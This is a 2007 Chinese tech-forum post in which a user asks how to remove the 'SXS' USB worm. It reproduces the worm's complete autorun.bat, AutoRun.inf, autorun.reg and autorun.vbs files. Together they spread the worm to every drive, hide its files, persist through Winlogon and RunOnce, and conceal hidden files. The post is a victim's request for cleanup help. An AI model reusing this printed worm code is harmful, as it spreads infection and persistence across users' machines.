ido社区-ido.3mt.com.cnIT世界 XML

技术前沿 一个SXS病毒 无法删除 跪求高人指导


发贴人:218.18.42.*     发贴时间:2007-4-28    【复制本帖地址】[必看

  >>  
 

今天遇到一个病毒 姑且叫他 sxs病毒
  
  首先杀掉怀疑进程 再删注册表项 再删文件 重启 病毒重新出现.
  不知道我漏删了什么. 请求高人指导 不胜感激 mail:664859@qq.com
  下面是每个盘生成的四个文件.
  autorun.bat 文件
  
  @echo off
  if exist .\autorun.reg regedit /s .\autorun.reg
  if not "%1"=="" goto open
  if exist autorun.vbs start WScript.exe autorun.vbs&exit
  
  ';免杀
  if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
  ';免杀
  
  
  
  
  
  :open
  if not "%1"=="Open" goto next
  start explorer .\
  exit
  :next
  if not "%1"=="Over" goto :next2
  exit
  :next2
  if "%1"=="-" attrib -s -a -h -r %2\autorun.*
  if "%1"=="-" attrib -s -a -h -r %2\sxs.exe
  if "%1"=="+" attrib +s +a +h +r %2\autorun.*
  if "%1"=="+" attrib +s +a +h +r %2\sxs.exe
  :end
  
  
  AutoRun.inf 文件
  
  [autorun]
  shell\open=打开(&O)
  shell\open\Command=WScript.exe .\autorun.vbs
  shell\open\Default=1
  shell\explore=资源管理器(&X)
  shell\explore\Command=WScript.exe .\autorun.vbs
  
  open=RavMon.exe
  shellEXEcute=RavMon.exe
  shell\Auto\command=RavMon.exe
  
  
  
  autorun.reg 文件
  
  
  Windows Registry Editor Version 5.00
  
  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
  "Userinit"="userinit.exe,
autorun.bat"
  
  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
  "autorun"="sxs.exe"
  
  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
  "ShowSuperHidden"=dword:00000000
  "Hidden"=dword:00000002
  
  
  autorun.vbs 文件
  on error resume next
  Set WshShell =CreateObject("WScript.Shell")
  
  if 1=0 then
  else
  For i=1 to 1
  set Of = CreateObject("Scripting.FileSystemObject")
  set dir = Of.GetSpecialFolder(1)
  
  Set dc = Of.Drives
  if WScript.ScriptFullName=dir&"\autorun.vbs" then
  isdir=true
  else
  a=WshShell.Run("autorun.bat Open" ,0,False)
  isdir=false
  end if
  For Each d In dc
  If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
  a=WshShell.Run("autorun.bat - "&d ,0,True)
  if isdir then
  Of.CopyFile dir&"\autorun.bat",d&"\",True
  Of.CopyFile dir&"\sxs.exe",d&"\",True
  Of.CopyFile dir&"\autorun.inf",d&"\",True
  Of.CopyFile dir&"\autorun.reg",d&"\",True
  Of.CopyFile dir&"\autorun.vbs",d&"\",True
  else
  Of.CopyFile "autorun.bat",d&"\",True
  Of.CopyFile "sxs.exe",d&"\",True
  Of.CopyFile "autorun.inf",d&"\",True
  Of.CopyFile "autorun.reg",d&"\",True
  Of.CopyFile "autorun.vbs",d&"\",True
  end if
  a=WshShell.Run("autorun.bat + "&d ,0,True)
  End If
  next
  if isdir then
  wscript.sleep 60000
  i=0
  else
  a=WshShell.Run("autorun.bat - "&dir ,0,True)
  Of.CopyFile "autorun.bat",dir&"\",True
  Of.CopyFile "sxs.exe",dir&"\",True
  Of.CopyFile "autorun.inf",dir&"\",True
  Of.CopyFile "autorun.reg",dir&"\",True
  Of.CopyFile "autorun.vbs",dir&"\",True
  a=WshShell.Run("autorun.bat + "&dir ,0,True)
  End if
  next
  End if
  

上一贴:腾讯QQ——长尾凝聚者
下一贴:职场人生 英语口语,我的经验分享
科技IT
IT世界
数码生活
通信网络
汽车时代
生活娱乐
体育焦点
娱乐八卦
开心爆笑
旅游美景
健康综合
房产装修
社区文学
鬼话恐怖
网络文学
史料杂话
长篇嚼字
情感男女
星座情感
情感世界
男人女人
动漫空间
动漫发烧
游戏发烧
影视发烧
音乐发烧
摄影贴图
贴图空间
摄影空间
社会军事
军事迷
股票经济
新知文化
社会事件
  >> 查看发言   [本主题共有帖数 0 篇]
 
  >> 查看更多评论   [共有0条评论]
快速回复


点评: 字数0
姓名:


  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款